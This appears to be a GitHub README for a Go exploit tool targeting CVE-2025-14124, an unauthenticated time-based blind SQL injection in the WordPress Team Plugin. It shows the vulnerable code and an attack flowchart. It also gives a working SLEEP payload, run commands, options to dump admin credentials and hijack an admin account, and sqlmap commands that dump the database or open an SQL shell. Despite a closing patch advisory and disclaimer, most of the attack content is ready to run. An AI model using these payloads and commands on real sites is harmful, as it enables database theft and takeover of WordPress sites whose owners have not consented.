hyunchiya/cve-2025-14124Unauthenticated SQL Injection (Time-Based Blind)
Author: Hyun Chiya
| Field | Value |
|---|
| CVE ID | CVE-2025-14124 |
| Plugin | WordPress Team Plugin |
| Affected Versions | < 5.0.11 |
| Vulnerability Type | Unauthenticated SQL Injection (Time-Based Blind) |
| Severity | High |
The WordPress Team Plugin does not properly sanitize and escape the search parameter before using it in a SQL statement via an AJAX action available to unauthenticated users, leading to SQL injection.
The vulnerable code is in app/Controllers/Frontend/Ajax/LoadMore.php:
// Line 221 - User input sanitized but NOT SQL-escaped
$sAction = sanitize_text_field( wp_unslash( $_REQUEST['search'] ) );
// Line 437-438 - VULNERABLE: Direct SQL concatenation
function tlp_team_search_where( $where ) {
global $wpdb;
$term = $wpdb->esc_like( $this->s['s'] ); // ⚠️ esc_like only escapes %, _, \
$where .= "OR ({$wpdb->posts}.post_title LIKE '%{$term}%' ...)"; // ⚠️ SQLi!
}
Problem: $wpdb->esc_like() only escapes LIKE wildcards, NOT SQL injection metacharacters.
flowchart TD
A["Attacker finds page with [tlpteam] shortcode"] --> B["Extract tlp_nonce and data-sc-id"]
B --> C["POST to /wp-admin/admin-ajax.php"]
C --> D["action=ttp_Layout_Ajax_Action<br/>search=SQL_PAYLOAD"]
D --> E{"Nonce valid?"}
E -->|Yes| F["SQL query executed with payload"]
F --> G["Time-based detection via SLEEP()"]
style F fill:#ff6b6b,stroke:#c92a2a,color:#fff
style G fill:#51cf66,stroke:#2f9e44,color:#fff[tlpteam] shortcode must existgo build -o CVE-2025-14124.exe main.go
.\CVE-2025-14124.exe -u http://target.com
.\CVE-2025-14124.exe -u http://target.com --page-url http://target.com/our-team/
.\CVE-2025-14124.exe -u http://target.com --check-only
.\CVE-2025-14124.exe -u http://target.com --delay 5
| Argument | Description |
|---|---|
-u | Target WordPress URL (required) |
--page-url | Page URL containing tlpteam shortcode |
--delay | SLEEP seconds for detection (default: 1) |
--dump | Extract database info and WordPress admin credentials |
--create-admin | Attempt to hijack admin account (requires stacked queries) |
--admin-user | Username for admin hijack (default: pwned_admin) |
--admin-pass | Password for admin hijack (default: Pwned123!) |
--check-only | Only check if plugin is active |
--timeout | Request timeout in seconds (default: 120) |
--dump)When using --dump, the tool will extract:
Note: Data extraction is slow due to time-based blind SQL injection nature (~5-15 minutes for full extraction).
--create-admin)Attempts to change existing admin password via SQL UPDATE.
⚠️ Important: This mode requires stacked queries support, which is typically disabled in PHP+MySQL. If stacked queries are not supported, use
--dumpto extract credentials instead, or usesqlmap --sql-shellfor direct UPDATE execution.
>> [ ONLINE ]
╔═══════════════════════════════════════════════════════════════════════════════════════╗
║ CVE-2025-14124 - WordPress Team Plugin SQL Injection ║
║ Affected: tlp-team < 5.0.11 ║
║ Author: Hyun Chiya ║
╚═══════════════════════════════════════════════════════════════════════════════════════╝
>> [ INFORMATION ]
[*] Checking if WordPress Team Plugin is active...
[+] Plugin detected: /wp-content/plugins/tlp-team/readme.txt
[+] Plugin detected!
[*] Searching for page with tlpteam shortcode...
[+] Found team page: http://target.com/our-team/
[+] Target page: http://target.com/our-team/
[+] Extracted nonce: abc123def456
[+] Extracted scID: 42
============================================================
[*] EXPLOIT: Time-Based Blind SQL Injection
============================================================
[*] Payload: t' OR SLEEP(3) OR 't'='t
[*] Expected delay: ~9 seconds (SLEEP executes 3 times)
[*] Sending malicious request...
[*] Response time: 9.23 seconds
[+] SQL INJECTION CONFIRMED!
[+] Response delayed by ~9 seconds (expected: 9)
[!] The target is vulnerable to Time-Based Blind SQL Injection
[!] Database can be extracted using tools like sqlmap
[*] Done.
For advanced exploitation, you can use sqlmap after confirming the vulnerability:
# Dump database
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
--data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
-p search --dbms=mysql --technique=T --batch --dump
# SQL Shell (for UPDATE queries)
sqlmap -u "http://target.com/wp-admin/admin-ajax.php" \
--data="action=ttp_Layout_Ajax_Action&scID=32&tlp_nonce=NONCE&search=test" \
-p search --dbms=mysql --technique=T --sql-shell
⚠️ IMPORTANT: Update WordPress Team Plugin to version 5.0.11 or later where the vulnerability has been patched with proper SQL escaping using
$wpdb->prepare().
This tool is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. Use responsibly.
Hyun Chiya